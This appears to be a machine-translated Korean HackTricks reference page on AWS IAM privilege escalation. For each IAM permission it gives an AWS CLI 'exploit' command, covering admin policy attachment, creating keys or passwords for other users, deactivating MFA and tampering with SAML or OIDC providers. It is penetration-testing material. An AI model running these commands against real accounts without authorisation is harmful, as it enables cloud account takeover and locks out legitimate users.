AWS - IAM Privesc

Support HackTricks

IAM

IAM에 대한 자세한 정보는 다음을 참조하세요:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

--set-as-default 플래그를 사용하여 iam:SetDefaultPolicyVersion 권한 없이 새로운 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

영향: 모든 리소스에 대한 모든 작업을 허용하여 직접적으로 권한을 상승시킵니다.

iam:SetDefaultPolicyVersion

IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있으며, 새 버전이 더 많은 권한을 가지고 있는 경우 권한이 상승될 수 있습니다.

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

영향: 더 많은 권한을 활성화하여 간접적인 권한 상승.

iam:CreateAccessKey

다른 사용자를 위해 액세스 키 ID와 비밀 액세스 키를 생성할 수 있게 하여 잠재적인 권한 상승을 초래할 수 있습니다.

Exploit:

aws iam create-access-key --user-name <target_user>

영향: 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승.

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 로그인 프로필을 생성하거나 업데이트할 수 있게 허용하며, 이는 직접적인 권한 상승으로 이어질 수 있습니다.

생성을 위한 익스플로잇:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit for Update:

업데이트를 위한 Exploit:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

영향: "어떤" 사용자로 로그인하여 직접 권한 상승.

iam:UpdateAccessKey

비활성화된 액세스 키를 활성화할 수 있으며, 공격자가 비활성화된 키를 소유하고 있는 경우 무단 접근으로 이어질 수 있습니다.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

영향: 액세스 키를 재활성화하여 직접적인 권한 상승.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 관련 사용자의 권한을 상속합니다.

생성을 위한 익스플로잇:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Reset을 위한 Exploit:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

영향: 사용자의 서비스 권한 내에서 직접적인 권한 상승.

iam:AttachUserPolicy || iam:AttachGroupPolicy

사용자 또는 그룹에 정책을 첨부할 수 있어, 첨부된 정책의 권한을 상속받아 직접적으로 권한을 상승시킵니다.

사용자에 대한 익스플로잇:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit for Group:

그룹을 위한 Exploit:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

영향: 정책이 부여하는 모든 권한에 대한 직접적인 권한 상승.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

역할, 사용자 또는 그룹에 정책을 첨부하거나 부여할 수 있도록 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.

역할에 대한 익스플로잇:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Inline Policies에 대한 Exploit:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
You can use a policy like:

정책은 다음과 같이 사용할 수 있습니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

영향: 정책을 통해 권한을 추가하여 직접적인 권한 상승.

iam:AddUserToGroup

IAM 그룹에 자신을 추가할 수 있게 하여, 그룹의 권한을 상속받아 권한을 상승시킴.

익스플로잇:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

영향: 그룹 권한 수준으로 직접 권한 상승.

iam:UpdateAssumeRolePolicy

역할의 assume role 정책 문서를 변경할 수 있어, 역할과 관련된 권한을 가정할 수 있게 합니다.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

정책이 다음과 같이 보이며, 사용자가 역할을 가정할 수 있는 권한을 부여합니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

영향: 모든 역할의 권한을 가정하여 직접적인 권한 상승.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

CodeCommit에 인증하기 위한 SSH 공개 키 업로드 및 MFA 장치 비활성화를 허용하여 잠재적인 간접 권한 상승을 초래할 수 있습니다.

SSH 키 업로드를 위한 익스플로잇:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA 비활성화 익스플로잇:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

영향: CodeCommit 액세스를 활성화하거나 MFA 보호를 비활성화하여 간접적인 권한 상승.

iam:ResyncMFADevice

MFA 장치를 재동기화할 수 있게 하여, MFA 보호를 조작함으로써 간접적인 권한 상승을 초래할 수 있습니다.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: MFA 장치를 추가하거나 조작하여 간접적인 권한 상승.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

이 권한을 사용하면 SAML 연결의 XML 메타데이터를 변경할 수 있습니다. 그런 다음, SAML federation을 악용하여 이를 신뢰하는 모든 역할로 로그인할 수 있습니다.

이렇게 하면 정상 사용자는 로그인할 수 없게 됩니다. 그러나 XML을 가져와서 자신의 XML을 넣고 로그인한 후 이전 설정을 복원할 수 있습니다.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: 지정된 역할로 로그인하고 SAML 메타데이터를 생성할 수 있는 도구

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(확실하지 않음) 공격자가 이러한 권한을 가지고 있다면, 공급자를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 Thumbprint를 추가할 수 있습니다.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

References

HackTricks 지원하기

Last updated